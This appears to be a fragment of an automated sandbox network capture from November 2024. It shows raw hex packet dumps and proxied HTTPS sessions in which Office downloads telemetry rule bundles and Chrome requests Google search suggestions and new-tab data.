Nov 9, 2024 22:11:12.601453066 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 9, 2024 22:11:12.601464987 CET	1236	IN	Data Raw: 38 1e ba 73 51 2a ed c3 d6 67 5b fe 5c d1 f9 35 0e da ba aa 85 2a be 6d 54 1b 37 b1 72 a0 63 19 92 1b 2d f7 71 23 57 c1 d2 79 3a b2 4d a6 7b d6 71 a6 3f 35 0e 1f c0 f6 71 3f fe f6 71 2b 37 b2 4d 1b b7 ac c3 2a bb 9d 5a 1b 37 37 17 a6 6b d6 5c a4 Data Ascii: 8sQg[\5mT7rc-q#Wy:M{q?5q?q+7MZ77k\M.g[o[M Z7;K6:MJ<pN{{_[M7=R?M9;]M72T;?O?G??;?C??;????s;?;??g;R?]s757r#q#Mq??x?c_[Md
Nov 9, 2024 22:11:12.601469040 CET	548	IN	Data Raw: 6e 8f 3b 3b 41 4c 2d 3c 27 24 28 28 81 d4 38 b2 4d 1b ba ee 71 1d b4 da da 9f 5b 0d 50 1b 37 3b 92 3f 4f 3d 92 3f 43 73 2e 2f 5c b2 4d 1b 46 b3 15 a4 7b d6 59 a4 83 d6 6d 4c 2d 9c 29 25 37 b2 da a7 5b 0d 50 1b 37 3b 9a 3f 4f 3f d2 3f 93 b4 4d 1b Data Ascii: n;;AL-<'$((8Mq[P7;?O=?Cs./\MF{YmL-)%7[P7;?O??MBQ\|U[w[mt7hDF7MY{e{]6Mq'!.[nq;]<?;=?_'P=?G;,_[CW'^QFBBB'@q3WF77[
Nov 9, 2024 22:11:12.601475954 CET	1236	IN	Data Raw: 92 3f 43 b2 4d 1b 37 3f d2 3f 92 b4 4d 1b c0 f6 71 33 fe f6 71 23 37 b2 4d 1b 68 a8 7f e4 fe f6 71 5b 37 b2 4d 1b 20 c2 5e 1b 37 3d 9a 3f 5b c1 03 1c ba 73 52 a4 83 d6 71 a3 bb d6 a8 1d 37 b2 14 5f 5b d2 4e 1b 37 b2 13 5f 5b ea 4d e1 7b d6 79 1b Data Ascii: ?CM7??Mq3q#7Mhq[7M ^7=?[sRq7_[N7_[M{yqO7Mq'7M6rv9MMq??;?[??N7>M.Mr?g[v9#tRq6Mq;7Mq'7M6rw9MMWM7&S9Mq{u{{YC7N7~M?
Nov 9, 2024 22:11:12.601511955 CET	1236	IN	Data Raw: 23 a4 ab d6 51 5d c2 e6 71 a6 93 d6 5d 9e 9b d6 95 22 ab e8 d8 5f 5b ca 4e eb c0 74 7f e4 c2 26 72 1f c2 0e 72 63 c7 42 de ab c7 42 de ab c7 42 de 2a ed b6 57 a3 3b c0 8e 54 02 28 42 1c 05 3c c2 3f 3b 3d 82 3f c2 0e 72 2b 46 68 94 29 bf f6 71 48 Data Ascii: #Q]q]"_[Nt&rrcBBB*W;T(B<?;=?r+Fh)qHqC{w[%x?e"_[z8M`z[5FM75'q3/!5@RqCq;!<!t6:P;&!?_;:@bwZKr3rGaGq3KaFV79l
Nov 9, 2024 22:11:12.601517916 CET	1236	IN	Data Raw: 71 23 c4 f6 71 57 c0 f6 71 1f c4 f6 71 4b c0 b6 71 a4 ab d6 65 03 fb c7 4d 1b ba 76 6a a0 f7 26 56 9c 83 d6 55 9b 37 b2 4d a4 ab d6 5d e1 7b d6 79 1b fd f6 71 53 37 62 7b 9b b3 d6 55 1b af c4 fd 3b 2d f7 71 23 3b 27 57 cb 62 a8 92 3f 3f b4 c1 24 Data Ascii: q#qWqqKqeMvj&VU7M]{yqS7b{U;-q#;'Wb??$qS8:?p=?k3LMLy?CM7=?K;?O= 7G@7~-q#w&eM`]0!@Rm`s[\LMhr[NN7;?CpYaO[.w=?kN7=??[0w
Nov 9, 2024 22:11:12.606225967 CET	1236	IN	Data Raw: c3 12 39 8a d7 e5 60 8c 39 1d c0 7c d1 14 40 24 63 e2 37 e2 7d 4b 67 79 8e 1f 67 e2 7d 4b ba 72 56 9e f9 aa c3 06 c1 73 d9 77 5b d2 da 2f 6a 3d 92 3f 47 eb 0f 99 3f 3b 11 44 2a 3c aa 3f 57 37 29 a4 6b d6 c1 68 c0 78 87 eb b3 b4 d6 f1 c0 8c d1 fd Data Ascii: 9`9\|@$c7}Kgyg}KrVsw[/j=?G?;D<?W7)khx:&eQL<BB{ag[\7:R9z'!+(>?;;D<e>;;(;vJ{ag[\7:T{ag[\7:q/Na*a9=?K?q/FhN};5g[

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.5	49709	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-09 21:09:27 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-09 21:09:27 UTC	471	IN	HTTP/1.1 200 OK Date: Sat, 09 Nov 2024 21:09:27 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Cache-Control: public Last-Modified: Fri, 08 Nov 2024 03:28:08 GMT ETag: "0x8DCFFA55D7922DF" x-ms-request-id: 217b2262-f01e-0096-260a-3210ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241109T210927Z-17df447cdb5qkskwhC1DFWeeg400000008c0000000000m56 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-09 21:09:27 UTC	15913	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-11-09 21:09:27 UTC	16384	IN	Data Raw: 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 Data Ascii: /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" /> </L> <R> <V V="400" T="I32" />
2024-11-09 21:09:27 UTC	16384	IN	Data Raw: 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 33 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 68 75 74 64 6f 77 6e 22 20 2f 3e 0d Data Ascii: .0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-7813" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryShutdown" />
2024-11-09 21:09:28 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 31 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 46 69 6c 65 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 38 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 Data Ascii: </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32" I="11" O="true" N="File_Count"> <S T="8" F="Count" /> </C>
2024-11-09 21:09:28 UTC	16384	IN	Data Raw: 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 52 65 73 75 6c 74 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 32 22 20 2f 3e 0d 0a 20 Data Ascii: <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Count_CreateResult_ValidPersona_False"> <C> <S T="12" />
2024-11-09 21:09:28 UTC	16384	IN	Data Raw: 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6c 65 61 6e 75 70 4d 73 6f 50 65 72 73 6f 6e 61 5f 49 4d 73 6f 50 65 72 73 6f 6e Data Ascii: Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C> </C> <C T="U32" I="21" O="false" N="CleanupMsoPersona_IMsoPerson
2024-11-09 21:09:28 UTC	16384	IN	Data Raw: 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 Data Ascii: <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="400"
2024-11-09 21:09:28 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 46 61 69 6c 65 64 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 Data Ascii: </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIntegrationFirstCallFailedCount"> <C> <S T="10" /> </C
2024-11-09 21:09:28 UTC	16384	IN	Data Raw: 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 66 61 6c 73 65 22 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 Data Ascii: L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L> <R> <V V="false" T="B" /> </R>
2024-11-09 21:09:28 UTC	16384	IN	Data Raw: 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 Data Ascii: us" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <L> <S T="2" F="HttpStatus" /> </L>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49710	142.250.184.228	443	7216	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-09 21:09:27 UTC	615	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlaHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc= Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-09 21:09:27 UTC	1266	IN	HTTP/1.1 200 OK Date: Sat, 09 Nov 2024 21:09:27 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-QmQjI1J16nlMUeqcRPK99A' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-09 21:09:27 UTC	112	IN	Data Raw: 64 65 65 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 67 69 61 6e 6e 69 73 20 61 6e 74 65 74 6f 6b 6f 75 6e 6d 70 6f 22 2c 22 73 68 69 62 61 20 69 6e 75 20 63 72 79 70 74 6f 22 2c 22 72 65 6c 65 61 73 65 20 64 61 74 65 20 67 74 61 20 36 22 2c 22 34 33 20 6d 6f 6e 6b 65 79 73 20 65 73 63 61 70 65 64 20 73 6f 75 74 68 20 63 61 72 6f 6c 69 6e Data Ascii: dee)]}'["",["giannis antetokounmpo","shiba inu crypto","release date gta 6","43 monkeys escaped south carolin
2024-11-09 21:09:27 UTC	1378	IN	Data Raw: 61 22 2c 22 69 6e 74 65 72 73 74 65 6c 6c 61 72 20 69 6d 61 78 20 31 30 74 68 20 61 6e 6e 69 76 65 72 73 61 72 79 22 2c 22 73 6e 6f 77 20 73 74 6f 72 6d 20 77 65 61 74 68 65 72 20 66 6f 72 65 63 61 73 74 20 63 6f 6c 6f 72 61 64 6f 22 2c 22 70 73 35 20 70 72 6f 20 67 61 6d 65 73 22 2c 22 62 75 66 66 61 6c 6f 20 62 69 6c 6c 73 20 76 73 20 63 6f 6c 74 73 22 5d 2c 5b 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 5d 2c 5b 5d 2c 7b 22 67 6f 6f 67 6c 65 3a 63 6c 69 65 6e 74 64 61 74 61 22 3a 7b 22 62 70 63 22 3a 66 61 6c 73 65 2c 22 74 6c 77 22 3a 66 61 6c 73 65 7d 2c 22 67 6f 6f 67 6c 65 3a 67 72 6f 75 70 73 69 6e 66 6f 22 3a 22 43 68 67 49 6b 6b 34 53 45 77 6f 52 56 48 4a 6c 62 6d 52 70 62 6d 63 67 63 32 56 68 63 6d 4e 6f 5a 58 4d 5c 75 Data Ascii: a","interstellar imax 10th anniversary","snow storm weather forecast colorado","ps5 pro games","buffalo bills vs colts"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u
2024-11-09 21:09:27 UTC	1378	IN	Data Raw: 34 64 55 67 78 63 54 56 6b 54 6c 68 71 54 32 6c 69 61 32 45 31 54 6c 52 57 65 57 78 79 53 6d 46 56 62 46 52 5a 55 30 46 6a 57 6b 4a 49 64 30 35 4e 5a 6c 46 48 57 6a 49 76 55 54 49 77 64 6d 73 31 56 6a 4a 6b 53 30 5a 49 65 6c 52 33 55 44 42 78 61 6e 4a 43 62 58 4e 4b 61 6e 67 33 59 7a 68 33 56 6d 77 31 55 57 4e 45 61 43 39 54 4d 6c 46 6a 52 46 42 74 59 32 74 44 5a 33 6c 50 63 53 74 5a 5a 55 6c 58 65 48 46 42 4d 44 64 54 51 6d 6b 78 54 6b 4a 56 61 45 46 44 5a 30 46 47 53 31 56 77 56 30 56 61 4e 55 52 31 5a 32 31 78 64 48 59 77 4f 46 6c 74 64 6d 4a 6f 63 45 6c 58 63 7a 68 72 5a 32 34 33 5a 31 56 51 59 57 56 68 54 58 6c 51 4e 47 74 4b 56 46 70 4c 62 57 35 48 61 7a 52 4b 65 57 52 72 61 6e 63 34 63 58 49 32 51 6d 46 4f 55 31 67 35 53 57 39 36 65 54 42 61 57 6c Data Ascii: 4dUgxcTVkTlhqT2lia2E1TlRWeWxySmFVbFRZU0FjWkJId05NZlFHWjIvUTIwdms1VjJkS0ZIelR3UDBxanJCbXNKang3Yzh3Vmw1UWNEaC9TMlFjRFBtY2tDZ3lPcStZZUlXeHFBMDdTQmkxTkJVaEFDZ0FGS1VwV0VaNUR1Z21xdHYwOFltdmJocElXczhrZ243Z1VQYWVhTXlQNGtKVFpLbW5HazRKeWRranc4cXI2QmFOU1g5SW96eTBaWl
2024-11-09 21:09:27 UTC	705	IN	Data Raw: 6e 45 31 63 55 68 6f 4e 6c 5a 34 5a 56 64 44 62 33 42 68 53 6a 4a 6c 64 6c 64 76 64 48 41 30 5a 32 52 6c 52 6b 68 54 61 48 5a 78 56 6c 70 6a 63 53 74 4f 64 32 64 7a 64 44 46 75 4d 6e 49 34 4e 6a 4a 36 57 47 39 71 63 46 4a 7a 62 48 68 73 56 30 52 71 62 6d 6f 77 62 32 78 30 4d 6e 4e 75 56 45 39 46 4e 7a 4e 79 61 7a 46 50 59 53 39 77 61 30 31 4b 4b 33 64 43 4b 32 52 44 56 47 4a 6c 52 57 4e 4c 4b 33 64 77 54 30 35 75 54 32 56 30 59 6d 5a 34 56 6c 45 79 56 46 41 31 54 53 38 76 4d 6c 45 39 50 54 6f 56 52 32 6c 68 62 6d 35 70 63 79 42 42 62 6e 52 6c 64 47 39 72 62 33 56 75 62 58 42 76 53 67 63 6a 4d 54 59 79 5a 44 64 69 55 6b 4e 6e 63 31 39 7a 63 33 41 39 5a 55 70 36 61 6a 52 30 54 46 41 78 56 47 4e 76 55 30 31 75 54 45 31 7a 4f 48 64 5a 55 46 46 54 56 47 4d 35 Data Ascii: nE1cUhoNlZ4ZVdDb3BhSjJldldvdHA0Z2RlRkhTaHZxVlpjcStOd2dzdDFuMnI4NjJ6WG9qcFJzbHhsV0Rqbmowb2x0MnNuVE9FNzNyazFPYS9wa01KK3dCK2RDVGJlRWNLK3dwT05uT2V0YmZ4VlEyVFA1TS8vMlE9PToVR2lhbm5pcyBBbnRldG9rb3VubXBvSgcjMTYyZDdiUkNnc19zc3A9ZUp6ajR0TFAxVGNvU01uTE1zOHdZUFFTVGM5
2024-11-09 21:09:27 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49711	142.250.184.228	443	7216	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-09 21:09:27 UTC	353	OUT	GET /async/ddljson?async=ntp:2 HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49712	142.250.184.228	443	7216	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
